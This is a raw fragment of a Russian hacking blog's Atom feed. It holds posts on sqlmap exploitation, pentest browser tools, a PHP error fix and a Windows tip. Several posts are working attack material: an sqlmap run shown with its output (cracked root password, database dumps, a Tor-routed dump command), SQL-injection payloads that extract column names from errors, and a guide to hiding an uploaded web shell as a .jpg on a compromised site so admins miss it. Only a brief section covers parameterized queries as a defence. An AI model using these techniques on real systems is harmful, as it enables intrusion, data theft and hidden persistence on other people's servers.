do you want to perform a dictionary-based attack against retrieved password  hashes? [Y/n/q] Y&lt;br /&gt;
[02:08:30] [INFO] using hash method &#39;mysql_passwd&#39; &lt;br /&gt;
what dictionary do you want to use?&lt;br /&gt;
[02:08:32] [INFO] using default dictionary&lt;br /&gt;
[02:08:32] [INFO] loading dictionary from &#39;/opt/sqlmap/txt/wordlist.txt&#39; &lt;br /&gt;
do you want to use common password suffi xes? (slow!) [y/N] N&lt;br /&gt;
[02:08:33] [INFO] starting dictionary-based cracking (mysql_passwd)&lt;br /&gt;
[02:08:35] [INFO] cracked password &#39;testpass&#39; for user &#39;root&#39;&lt;br /&gt;
database management system users password hashes:&lt;br /&gt;
[*] debian-sys-maint [1]:&lt;br /&gt;
password hash: *6B2C58EABD91C1776DA223B088B601604F898847&lt;br /&gt;
[*] root [1]:&lt;br /&gt;
password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29&lt;br /&gt;
clear-text password: testpass&lt;/code&gt;&lt;br /&gt;
Опа! Для root’а мы быстро подобрали пароль (для примера он был очень  простой). Пришло время сдампить интересующие нас данные: &lt;br /&gt;
&lt;code&gt;[02:08:35] [INFO] fetching database names&lt;br /&gt;
[02:08:35] [INFO] fetching tables for databases: information_schema, mysql,  owasp10, testdb&lt;br /&gt;
[02:08:35] [INFO] skipping system databases: information_schema, mysql&lt;br /&gt;
&lt;br /&gt;
Database: owasp10&lt;br /&gt;
[3 tables]&lt;br /&gt;
+--------------+&lt;br /&gt;
| accounts&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| blogs_table&amp;nbsp; |&lt;br /&gt;
| hitlog&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
+--------------+&lt;br /&gt;
Database: testdb&lt;br /&gt;
[1 table]&lt;br /&gt;
+-------------+&lt;br /&gt;
| users&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
+-------------+&lt;br /&gt;
[02:08:35] [INFO] Fetched data logged to text fi les under &#39;/opt/sqlmap/output/www.site.com&#39;&lt;/code&gt;&lt;br /&gt;
Готово!&lt;br /&gt;
&lt;h3&gt;Сценарий № 3&lt;/h3&gt;Теперь, обнаружив в базе данных testdb-таблицу (-D testdb) с интересным  именем &quot;users&quot; (-T users), мы, естественно, заходим заполучить ее содержимое  себе (--dump). Но чтобы показать еще одну интересную опцию, не будем копировать  все данные просто в файле, а реплицируем содержимое таблиц в основанную на  файлах базу данных SQLite на локальной машине (--replicate).&lt;br /&gt;
&lt;code&gt;$ python sqlmap.py -u &quot;http://www.site.com/vuln.php?id=1&quot;  --random-agent --tor --dump -D testdb -T users --replicate&lt;/code&gt;&lt;br /&gt;
Сканеру не составит труда определить названия столбцов для таблицы users и  вытащить из нее все записи: &lt;br /&gt;
&lt;code&gt;[02:11:26] [INFO] fetching columns for table &#39;users&#39; on database  &#39;testdb&#39;&lt;br /&gt;
[02:11:26] [INFO] fetching entries for table &#39;users&#39; on database &#39;testdb&#39;&lt;br /&gt;
Database: testdb&lt;br /&gt;
Table: users&lt;br /&gt;
[4 entries]&lt;br /&gt;
+----+--------+------------+&lt;br /&gt;
| id | name&amp;nbsp;&amp;nbsp; | surname&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
+----+--------+------------+&lt;br /&gt;
| 2&amp;nbsp; | fluffy | bunny&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| 3&amp;nbsp; | wu&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | ming&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  |&lt;br /&gt;
| 1&amp;nbsp; | luther | blissett&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| 4&amp;nbsp; | NULL&amp;nbsp;&amp;nbsp; | nameisnull |&lt;br /&gt;
+----+--------+------------+&lt;br /&gt;
[02:11:27] [INFO] Table &#39;testdb.users&#39; dumped to sqlite3 file&lt;/code&gt;&lt;br /&gt;
Таким образом мы получим дамп базы данных в файле testdb.sqlite3 в формате  SQLite. Фишка в том, что в при таком раскладе мы не только можем посмотреть  данные, но еще и выполнить к ней любые запросы, заюзав возможности SQLite  (например, с помощью программы SQLite Manager).&lt;br /&gt;
&lt;h2&gt;Как защититься?&lt;/h2&gt;Наиболее надежным способом предотвращения SQL-инъекций является использование  параметризированных SQL-параметров. К примеру, в случае с PHP это возможно с  помощью пакета &lt;a href=&quot;http://pear.php.net/package/DB&quot; target=&quot;_blank&quot;&gt;PEAR’s  DB&lt;/a&gt;, предлагающего интерфейс для выполнения абсолютно безопасных  SQL-выражений. Обращение к БД происходит следующим образом: &lt;code&gt;$p = $db-&amp;gt;prepare(&quot;SELECT  * FROM users WHERE id = ?&quot;); $db-&amp;gt;execute($p, array($_GET[&#39;id&#39;]))&lt;/code&gt;.  Основная идея заключается в том, что если позиция параметров явно задана, то  можно абсолютно безопасно передавать SQL-запросы базе данных, исключая  возможность для параметров самим стать SQL-выражениями (в том числе  зловредными). Стоит заметить, что другие механизмы, такие как использование  принудительного приведения типов (например, с помощью функции intval()) в связке  с экранированием строк такими функциями, как mysql_real_escape_string() или  addslashes(), не являются абсолютно безопасными. Проблема в том, что существуют  некоторые варианты для их обхода, а следовательно, к их использованию необходимо  подходить с максимальным вниманием.&lt;br /&gt;
&lt;h2&gt;Резюме&lt;/h2&gt;В прошлом номере в рубрике Proof-of-concept я рассказывал тебе о DSSS,  небольшом Python-скрипте, который умеет обнаруживать SQL-уязвимости. Идея  заключалась в том, чтобы создать эффективный сканер, который будет хорошо  работать, но уложиться при этом в 100 строчек кода. Это лишний раз доказывает,  что обнаружение SQL-уязвимостей — это лишь малая часть дела. Их эксплуатация —  вопрос куда более сложный. Но его готов взять на разрешение sqlmap, в котором мы  объединили многолетний опыт огромного количества пентестеров, чтобы сканер мог  эффективно не только находить SQL-инъекции, но и извлекать из этого максимальную  выгоду.&lt;br /&gt;
&lt;br /&gt;
источник http://www.xakep.ru/post/57950/ &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/1508458071768948264/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://n0t3pad.blogspot.com/2011/12/sqlmap-sql.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/1508458071768948264'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/1508458071768948264'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/2011/12/sqlmap-sql.html' title='Sqlmap: SQL-инъекции - это просто'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf8df3e4b48_QlMsmucN8k-iWHrMsUMbEpD-DEP-iXlfCzVyEY944Xu9aAZei8Qw5pYyllFeW74VCwtitUYPy8BFLEwEcoqYdztqlUw9mvxKX-QxSbme5qck7LZLoFG7_tMawng0UkH09g/s72-c/sql-injection2.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1303973132304848770.post-1117725631575750443</id><published>2011-10-21T01:20:00.000-07:00</published><updated>2011-12-04T14:27:11.986-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Firefox"/><title type='text'>Mantra</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE2vdyQsEokovR7LYD3zIsE9DlSJSXRPQutIRp1whsi2JCR97Q15BgKdFSXJxkUEgrPcs8ub223OiDCRzL7TxU5DlVYtcrqC0z_jogaZW8l098qt0HjEogQQh1fOuBH6S-J5zSiTD4DUr-/s1600/mantra_main_logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;236&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE2vdyQsEokovR7LYD3zIsE9DlSJSXRPQutIRp1whsi2JCR97Q15BgKdFSXJxkUEgrPcs8ub223OiDCRzL7TxU5DlVYtcrqC0z_jogaZW8l098qt0HjEogQQh1fOuBH6S-J5zSiTD4DUr-/s320/mantra_main_logo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;Mantra&lt;/b&gt; инновационный продукт, основы безопасности и пентеста построены на основе браузера Firefox.  кросс-платформенная,  портативная и может работать прямо из &quot;коробки&quot;. Вы можете использовать на абсолютно любых перезаписываемых носителях, включая карты памяти, флэш-накопители и портативные жестких диски. Более того, мантра может быть использована как для наступательных действий так и в оборонительной безопасности, что делает её невероятно полезной.&lt;br /&gt;
&lt;a href=&quot;http://www.getmantra.com/download/index.html&quot;&gt;скачать с оф. сайта&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/1117725631575750443/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://n0t3pad.blogspot.com/2011/10/mantra.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/1117725631575750443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/1117725631575750443'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/2011/10/mantra.html' title='Mantra'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE2vdyQsEokovR7LYD3zIsE9DlSJSXRPQutIRp1whsi2JCR97Q15BgKdFSXJxkUEgrPcs8ub223OiDCRzL7TxU5DlVYtcrqC0z_jogaZW8l098qt0HjEogQQh1fOuBH6S-J5zSiTD4DUr-/s72-c/mantra_main_logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1303973132304848770.post-8844363314313412212</id><published>2011-10-12T05:24:00.000-07:00</published><updated>2011-12-04T14:23:52.633-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Firefox"/><title type='text'>Хакерская сборка плагинов для Mozilla Firefox</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi48_1YoIZArk0UT4tSK6TOxQysVSKNf9_i-bSXKjyaCw3-UJOsDxwohHq7jYyl9kL4xrxaTAwSLxES81ySqUDfEjOGPp7DngGEyX_IBDx2CAZnNW3tuG_L9C5zrXGtKamkdFypclnOB6-l/s1600/mozilla-firefox.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi48_1YoIZArk0UT4tSK6TOxQysVSKNf9_i-bSXKjyaCw3-UJOsDxwohHq7jYyl9kL4xrxaTAwSLxES81ySqUDfEjOGPp7DngGEyX_IBDx2CAZnNW3tuG_L9C5zrXGtKamkdFypclnOB6-l/s1600/mozilla-firefox.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;br /&gt;
&lt;a href=&quot;https://addons.mozilla.org/ru/firefox/addon/sql-injection/&quot; target=&quot;_blank&quot;&gt;SQL Injection&lt;/a&gt; - для удобной реализации SQL инъекций&lt;br /&gt;
&lt;a href=&quot;https://addons.mozilla.org/ru/firefox/addon/tamper-data/&quot; target=&quot;_blank&quot;&gt;Tamper Data&lt;/a&gt; - расширение для просмотра и изменения HTTP/HTTPS заголовков и post &amp;nbsp; &amp;nbsp;параметров&lt;br /&gt;
&lt;a href=&quot;https://addons.mozilla.org/ru/firefox/addon/wappalyzer/&quot; target=&quot;_blank&quot;&gt;Wappalyzer&lt;/a&gt; - показывает на чем работает сайт&lt;br /&gt;
&lt;a href=&quot;https://addons.mozilla.org/ru/firefox/addon/tyc-pr-indicator/&quot; target=&quot;_blank&quot;&gt;TYC + PR indicator&lt;/a&gt; - простой индикатор для отображения Google Page Rank и Яндекс тИЦ &amp;nbsp;текущей страницы&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://addons.mozilla.org/ru/firefox/addon/foxyproxy-standard&quot; target=&quot;_blank&quot;&gt;FoxyProxy Standard&lt;/a&gt; - это продвинутый инструмент управления прокси&lt;br /&gt;
&lt;a href=&quot;https://addons.mozilla.org/ru/firefox/addon/cookies-manager-plus&quot; target=&quot;_blank&quot;&gt;Cookies Manager+&lt;/a&gt; - Cookie менеджер, который позволяет просматривать, редактировать и создавать новые печенья&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/8844363314313412212/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://n0t3pad.blogspot.com/2011/10/mozilla-firefox.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/8844363314313412212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/8844363314313412212'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/2011/10/mozilla-firefox.html' title='Хакерская сборка плагинов для Mozilla Firefox'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi48_1YoIZArk0UT4tSK6TOxQysVSKNf9_i-bSXKjyaCw3-UJOsDxwohHq7jYyl9kL4xrxaTAwSLxES81ySqUDfEjOGPp7DngGEyX_IBDx2CAZnNW3tuG_L9C5zrXGtKamkdFypclnOB6-l/s72-c/mozilla-firefox.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1303973132304848770.post-8244953577767761319</id><published>2011-07-11T07:32:00.000-07:00</published><updated>2011-08-04T03:11:11.152-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Fatal error"/><title type='text'>Fatal error: Maximum execution time of 30 seconds</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;Время от времени веб-разработчики, сталкиваются с ошибкой &lt;br /&gt;
&lt;b&gt;Fatal error: Maximum execution time of 30 seconds exceeded in…&amp;lt;путь к файлу&amp;gt; in &amp;lt;номер строки&amp;gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Из-за чего же это происходит?&lt;br /&gt;
&lt;br /&gt;
А дело тут в ограничении ресурсов. Точнее в одной из его составляющих – во времени исполнения. Очень часто эта ошибка возникает, когда сервер перегружен процессами.&lt;br /&gt;
&lt;br /&gt;
Как исправить ошибку?&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
Увеличить время обработки можно, найдя в файле &lt;b&gt;php.ini&lt;/b&gt; строчку:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;max_execution_time = 30&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
и изменить число секунд, с 30 на более продолжительное например 60. После этого не забудьте перезапустить Apache. Это бывает особенно полезно на локальной машине разработчика.&lt;br /&gt;
Естественно бесконечно увеличивать этот порог не имеет смысла, лучше задуматься что у вас лишнего запущено… и не пора ли менять комп?&lt;br /&gt;
&lt;br /&gt;
Кроме этого, если вам не доступен &lt;b&gt;php.ini&lt;/b&gt;, можете установить специальный флаг в &lt;b&gt;.htaccess&lt;/b&gt;:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
php_value max_execution_time 60&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Правда на некоторых хотингах данная директива может быть запрещена для изменений, тогда вам останется только обращаться к администраторам в саппорт.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/8244953577767761319/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://n0t3pad.blogspot.com/2011/07/fatal-error-maximum-execution-time-of.html#comment-form' title='Комментарии: 2'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/8244953577767761319'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/8244953577767761319'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/2011/07/fatal-error-maximum-execution-time-of.html' title='Fatal error: Maximum execution time of 30 seconds'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1303973132304848770.post-4281634152925920181</id><published>2011-04-03T03:51:00.000-07:00</published><updated>2011-12-04T14:30:05.197-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="God mode Windows 7"/><title type='text'>Режим Бога в Windows 7</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsTZTLOKL62dMqO-a0kVK7_PkYm29RsD869pPEJ_Mlh3Xp-hSk40iDAE6rMN3U9egh-XtDGfA_fJq5WWJt3AiULzhqcgB9pAjaBNwUvzc3XenBM6-nL1OFCvvzQ0e93eY2npSClFatqddY/s1600/god-mode.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;187&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsTZTLOKL62dMqO-a0kVK7_PkYm29RsD869pPEJ_Mlh3Xp-hSk40iDAE6rMN3U9egh-XtDGfA_fJq5WWJt3AiULzhqcgB9pAjaBNwUvzc3XenBM6-nL1OFCvvzQ0e93eY2npSClFatqddY/s320/god-mode.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Знаете ли вы, что вы тоже можете стать Богом!? Ну, по крайней мере, на Windows 7 (по сообщениям пользователей это так же работает и на Windows Vista).&lt;br /&gt;
&lt;br /&gt;
Этот режим позволит вам управлять всеми настройками Windows из удобного графического меню. Вот как его активировать:&lt;br /&gt;
&lt;br /&gt;
1. Щелкните правой кнопкой мыши на любом пустом пространстве рабочего стола.&lt;br /&gt;
2. Перейдите в меню Создать и создайте новую папку.&lt;br /&gt;
3. Переименуйте папку следующим образом: &lt;br /&gt;
&lt;b&gt;GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}&lt;/b&gt;&lt;br /&gt;
4. &lt;strike&gt;НЕ используйте эту возможность на Windows 7 x64 (а также Windows Vista x64) — это приводит к обрушению системы&lt;/strike&gt; Как сообщают пользователи, на системах х64 это тоже работает. Но используйте это на свой страх и риск.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/4281634152925920181/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://n0t3pad.blogspot.com/2011/04/windows-7.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/4281634152925920181'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/4281634152925920181'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/2011/04/windows-7.html' title='Режим Бога в Windows 7'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsTZTLOKL62dMqO-a0kVK7_PkYm29RsD869pPEJ_Mlh3Xp-hSk40iDAE6rMN3U9egh-XtDGfA_fJq5WWJt3AiULzhqcgB9pAjaBNwUvzc3XenBM6-nL1OFCvvzQ0e93eY2npSClFatqddY/s72-c/god-mode.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1303973132304848770.post-6971432824967189032</id><published>2011-02-17T04:39:00.000-08:00</published><updated>2011-08-04T03:10:34.933-07:00</updated><title type='text'>Маскировка шелла под картинку</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7PChtS5i0jYmXIWAaDd6Y5Vt0sjXSI6KNtcHYZd09IWVNMFWyAxCoa-UCou5TMiVQgksRe8QGBCxUJE8bteaDvS1XJa9P1kKFVc0wKcl8YuUX4jKXSFzH6NxtUobpDODPW-6Q-NdXvVo/s1600/maskirovka.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7PChtS5i0jYmXIWAaDd6Y5Vt0sjXSI6KNtcHYZd09IWVNMFWyAxCoa-UCou5TMiVQgksRe8QGBCxUJE8bteaDvS1XJa9P1kKFVc0wKcl8YuUX4jKXSFzH6NxtUobpDODPW-6Q-NdXvVo/s400/maskirovka.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Задача: Замаскировать шелл под местность с помощью .htaccess&lt;br /&gt;
&lt;br /&gt;
Решение&lt;br /&gt;
Заливая шелл на какой-нибудь ресурс, ты, конечно, хочешь, чтобы он прожил максимально долго, и не был удален злобными админами в первый же день. Для этого шеллы прячут и маскируют под местность, чтобы файл не вызывал подозрений. А какие файлы в первую очередь вызывают подозрения? Ну, конечно же, скрипты. То есть, файлы с расширением .php .phtml .cgi .pl и т.д. будут проверены первыми. И, напротив, не вызывают подозрения, например, картинки. Но какая же польза от файла с расширением .jpg или .gif, скажешь ты. Ведь он не исполняемый и, если даже засунуть в него .php-код, то, чтобы он заработал, нужен будет инклуд. Это не совсем так, а точнее, совсем не так. Заставить апач воспринимать файл с любым расширением как .php нам поможет .htaccess.&lt;br /&gt;
&lt;br /&gt;
Посмотрим, как это делается:&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
1. Создаем у себя на локалке файл .htaccess следующего содержания (можно и прямо на сайте создать):&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;color: olive;&quot;&gt;AddType application/x-httpd-php .jpg&lt;/div&gt;&lt;br /&gt;
2. Заливаем его на взломанный сайт в папку, где будем прятать наш шелл (это если в директории нет такого файла; если есть, то просто добавляем к нему нашу строчку).&lt;br /&gt;
&lt;br /&gt;
3. Меняем расширение нашему шеллу с .php на .jpg.&lt;br /&gt;
&lt;br /&gt;
4. Переходим с веба на нашу «картинку» и видим, что она исполняется.&lt;br /&gt;
&lt;br /&gt;
Как видишь, все просто, теперь, зайдя в папку, админ видит только картинки, и шансов, что шелл будет найден, гораздо меньше.&lt;br /&gt;
&lt;br /&gt;
Разумеется, таким образом можно поставить абсолютно любое расширение, будь то .txt, .gif или вообще не существующее .lol. Только злоупотреблять таким методом не советую. Если то, что ты делаешь, наносит вред функционалу сайта в целом, то шансы быть обнаруженным резко возрастают.&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/6971432824967189032/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/blog-post.html#comment-form' title='Комментарии: 3'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/6971432824967189032'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/6971432824967189032'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/blog-post.html' title='Маскировка шелла под картинку'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7PChtS5i0jYmXIWAaDd6Y5Vt0sjXSI6KNtcHYZd09IWVNMFWyAxCoa-UCou5TMiVQgksRe8QGBCxUJE8bteaDvS1XJa9P1kKFVc0wKcl8YuUX4jKXSFzH6NxtUobpDODPW-6Q-NdXvVo/s72-c/maskirovka.jpg" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1303973132304848770.post-5804722568788855177</id><published>2011-02-17T04:35:00.000-08:00</published><updated>2011-02-18T06:23:27.616-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="SQL-injection"/><title type='text'>Узнать имена колонок в таблице, зная ее название</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;strong&gt;Задача: Узнать имена колонок в таблице, зная ее название&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Решение: &lt;/strong&gt;Представлю недавно опубликованный на форуме   sla.ckers.org юзером Paic способ, с помощью которого можно узнать  имена  колонок, если они имеют тип NOT NULL. Отправляем первый запрос,  чтобы  узнать, сколько колонок в нужной нам таблице:&lt;br /&gt;&lt;span style=&quot;color: olive;&quot;&gt;&lt;code&gt;id=1 and (select * from users) = (1)&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;В результате MySQL вернет ошибку «Operand should contain 7   column(s)». Это значит, что в таблице users 7 полей. Тогда составим   логически верный запрос:&lt;br /&gt;&lt;span style=&quot;color: olive;&quot;&gt;&lt;code&gt;id=1 and (1,2,3,4,5,6,7) = (select * from users union select 1,2,3,4,5,6,7 limit 1)&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;Запрос верный и ошибки мы не увидим. А теперь о том, как узнать имена   колонок. Для каждого поля в запросе поочередно подставляем   последовательность символов %0 и, если у поля стоит ключ NOT NULL, мы   увидим ошибку. Посмотрим на примере:&lt;br /&gt;&lt;span style=&quot;color: olive;&quot;&gt;&lt;code&gt;id=1 and (1,2,3,4,5,6,7) = (select * from users union select 1%0,2,3,4,5,6,7 limit 1)&lt;/code&gt;&lt;/span&gt;&lt;br /&gt;В итоге видим ошибку – «Column ‘id’ cannot be null».&lt;br /&gt;(c)xakep.ru&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://n0t3pad.blogspot.com/feeds/5804722568788855177/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/blog-post_17.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/5804722568788855177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1303973132304848770/posts/default/5804722568788855177'/><link rel='alternate' type='text/html' href='http://n0t3pad.blogspot.com/2011/02/blog-post_17.html' title='Узнать имена колонок в таблице, зная ее название'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1303973132304848770.post-2763303957363297641</id><published>2011-02-17T04:30:00.000-08:00</published><updated>2011-08-04T03:09:53.131-07:00</updated><category 